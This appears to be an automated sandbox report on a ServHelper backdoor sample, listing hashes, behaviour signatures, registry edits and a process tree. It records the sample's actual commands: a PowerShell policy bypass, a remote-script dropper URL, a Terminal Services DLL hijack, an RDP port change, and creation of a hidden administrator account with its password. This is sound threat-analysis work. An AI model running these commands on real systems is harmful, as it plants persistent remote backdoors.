Analysis
- max time kernel
92s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system - submitted
15/07/2024, 05:02
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe
Resource
win7-20240704-en
21 signatures
150 seconds
Behavioral task
behavioral2
Sample
4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe
Resource
win10v2004-20240709-en
23 signatures
150 seconds
General
- Target 4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe
- Size 5.7MB
- Sample240715-fpfnhasaqe
- SHA256 1826d874e7b2798a9c7e12af91f4ab3466c798ca7c26b6a1ac76bbdfc221cb1f
- MD5 4854d8c74fcf1aeb5138075a5b029f91
- SHA1 375a02de564add94066335e4daa8e7233f0b4c05
- SHA512 1e47dd787053bf2963b8760d93daffbe9f285f8d60a6264ca6f90cd9dad5701cdc4f8c44461dcc15105b9b8a23cdc83dea985df7611e3a9451a4c4cce41c959a
- SSDEEP 49152:UsAnsrrb/T/vO90dL3BmAFd4A64nsfJ13Dd95+bC+dTfixrrAq/n55SyZuKnyed7:UsPQzdtmAQQQQQQQQQQQQQ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
- ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 7 IoCs
flow pid Process 16 2228 powershell.exe 18 2228 powershell.exe 22 2228 powershell.exe 25 2228 powershell.exe 27 2228 powershell.exe 29 2228 powershell.exe 31 2228 powershell.exe - Modifies RDP port number used by Windows 1 TTPs
- Possible privilege escalation attempt 8 IoCs
pid Process 3080 icacls.exe 2176 icacls.exe 1560 icacls.exe 1856 icacls.exe 1040 icacls.exe 5060 icacls.exe 4980 icacls.exe 3516 takeown.exe - Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" reg.exe - Loads dropped DLL 2 IoCs
pid Process 4624 Process not Found 4624 Process not Found - Modifies file permissions 1 TTPs 8 IoCs
pid Process 4980 icacls.exe 3516 takeown.exe 3080 icacls.exe 2176 icacls.exe 1560 icacls.exe 1856 icacls.exe 1040 icacls.exe 5060 icacls.exe -
resource yara_rule behavioral2/files/0x000f00000002345b-82.dat upx behavioral2/files/0x000d00000002345f-83.dat upx - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 15 raw.githubusercontent.com 16 raw.githubusercontent.com - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe - Drops file in Windows directory 18 IoCs
description ioc Process File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDA36.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\shellbrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_musgza3c.5ss.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDA66.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_lwhjh5xn.ixb.ps1 powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGID9C6.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDA16.tmp powershell.exe File created C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGID9F6.tmp powershell.exe -
pid Process 5004 powershell.exe 2488 powershell.exe 4984 powershell.exe 2228 powershell.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1688 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 970fa45f43d2da01 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites" powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4816 reg.exe - Runs net.exe
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc stream HTTP User-Agent header 18 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 22 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 1 - Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 1104 powershell.exe 1104 powershell.exe 5004 powershell.exe 5004 powershell.exe 2488 powershell.exe 2488 powershell.exe 4984 powershell.exe 4984 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 2228 powershell.exe 2228 powershell.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 660 Process not Found 660 Process not Found - Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1104 powershell.exe Token: SeDebugPrivilege 5004 powershell.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeRestorePrivilege 2176 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeAuditPrivilege 1688 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeAuditPrivilege 1688 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 4844 WMIC.exe Token: SeIncreaseQuotaPrivilege 4844 WMIC.exe Token: SeAuditPrivilege 4844 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 4844 WMIC.exe Token: SeIncreaseQuotaPrivilege 4844 WMIC.exe Token: SeAuditPrivilege 4844 WMIC.exe Token: SeDebugPrivilege 2228 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4768 wrote to memory of 1104 4768 4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe 87 PID 4768 wrote to memory of 1104 4768 4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe 87 PID 1104 wrote to memory of 5036 1104 powershell.exe 89 PID 1104 wrote to memory of 5036 1104 powershell.exe 89 PID 5036 wrote to memory of 2816 5036 csc.exe 90 PID 5036 wrote to memory of 2816 5036 csc.exe 90 PID 1104 wrote to memory of 5004 1104 powershell.exe 91 PID 1104 wrote to memory of 5004 1104 powershell.exe 91 PID 1104 wrote to memory of 2488 1104 powershell.exe 93 PID 1104 wrote to memory of 2488 1104 powershell.exe 93 PID 1104 wrote to memory of 4984 1104 powershell.exe 95 PID 1104 wrote to memory of 4984 1104 powershell.exe 95 PID 1104 wrote to memory of 3516 1104 powershell.exe 97 PID 1104 wrote to memory of 3516 1104 powershell.exe 97 PID 1104 wrote to memory of 3080 1104 powershell.exe 98 PID 1104 wrote to memory of 3080 1104 powershell.exe 98 PID 1104 wrote to memory of 2176 1104 powershell.exe 99 PID 1104 wrote to memory of 2176 1104 powershell.exe 99 PID 1104 wrote to memory of 1560 1104 powershell.exe 100 PID 1104 wrote to memory of 1560 1104 powershell.exe 100 PID 1104 wrote to memory of 1856 1104 powershell.exe 101 PID 1104 wrote to memory of 1856 1104 powershell.exe 101 PID 1104 wrote to memory of 1040 1104 powershell.exe 102 PID 1104 wrote to memory of 1040 1104 powershell.exe 102 PID 1104 wrote to memory of 5060 1104 powershell.exe 103 PID 1104 wrote to memory of 5060 1104 powershell.exe 103 PID 1104 wrote to memory of 4980 1104 powershell.exe 104 PID 1104 wrote to memory of 4980 1104 powershell.exe 104 PID 1104 wrote to memory of 3288 1104 powershell.exe 105 PID 1104 wrote to memory of 3288 1104 powershell.exe 105 PID 1104 wrote to memory of 4816 1104 powershell.exe 106 PID 1104 wrote to memory of 4816 1104 powershell.exe 106 PID 1104 wrote to memory of 2108 1104 powershell.exe 107 PID 1104 wrote to memory of 2108 1104 powershell.exe 107 PID 1104 wrote to memory of 1772 1104 powershell.exe 108 PID 1104 wrote to memory of 1772 1104 powershell.exe 108 PID 1772 wrote to memory of 1592 1772 net.exe 109 PID 1772 wrote to memory of 1592 1772 net.exe 109 PID 1104 wrote to memory of 1544 1104 powershell.exe 110 PID 1104 wrote to memory of 1544 1104 powershell.exe 110 PID 1544 wrote to memory of 4900 1544 cmd.exe 111 PID 1544 wrote to memory of 4900 1544 cmd.exe 111 PID 4900 wrote to memory of 3700 4900 cmd.exe 112 PID 4900 wrote to memory of 3700 4900 cmd.exe 112 PID 3700 wrote to memory of 1528 3700 net.exe 113 PID 3700 wrote to memory of 1528 3700 net.exe 113 PID 1104 wrote to memory of 3952 1104 powershell.exe 114 PID 1104 wrote to memory of 3952 1104 powershell.exe 114 PID 3952 wrote to memory of 2900 3952 cmd.exe 115 PID 3952 wrote to memory of 2900 3952 cmd.exe 115 PID 2900 wrote to memory of 5028 2900 cmd.exe 116 PID 2900 wrote to memory of 5028 2900 cmd.exe 116 PID 5028 wrote to memory of 1148 5028 net.exe 117 PID 5028 wrote to memory of 1148 5028 net.exe 117 PID 4968 wrote to memory of 4396 4968 cmd.exe 121 PID 4968 wrote to memory of 4396 4968 cmd.exe 121 PID 4396 wrote to memory of 4312 4396 net.exe 122 PID 4396 wrote to memory of 4312 4396 net.exe 122 PID 3668 wrote to memory of 3868 3668 cmd.exe 125 PID 3668 wrote to memory of 3868 3668 cmd.exe 125 PID 3868 wrote to memory of 3180 3868 net.exe 126 PID 3868 wrote to memory of 3180 3868 net.exe 126 PID 4808 wrote to memory of 556 4808 cmd.exe 129 PID 4808 wrote to memory of 556 4808 cmd.exe 129
Processes
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C:\Users\Admin\AppData\Local\Temp\4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\4854d8c74fcf1aeb5138075a5b029f91_JaffaCakes118.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dcjzwavs\dcjzwavs.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB53.tmp" "c:\Users\Admin\AppData\Local\Temp\dcjzwavs\CSC660E0514DB234634B9F1EB3B5D551086.TMP"4⤵PID:2816
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4984
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3516
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3080
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2176
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1560
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1856
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1040
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5060
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4980
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:3288
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Server Software Component: Terminal Services DLL
- Modifies registry key
PID:4816
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2108
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1592
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1528
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1148
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:4892
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:2348
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:4312
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc u5aROi0y /add1⤵
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc u5aROi0y /add2⤵
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc u5aROi0y /add3⤵PID:3180
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:556
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:2204
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MUEOAWXB$ /ADD1⤵PID:2796
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MUEOAWXB$ /ADD2⤵PID:4024
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MUEOAWXB$ /ADD3⤵PID:3928
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:5052
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:5012
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:5036
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc u5aROi0y1⤵PID:2200
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc u5aROi0y2⤵PID:4696
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc u5aROi0y3⤵PID:3228
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:3940
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2364
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4844
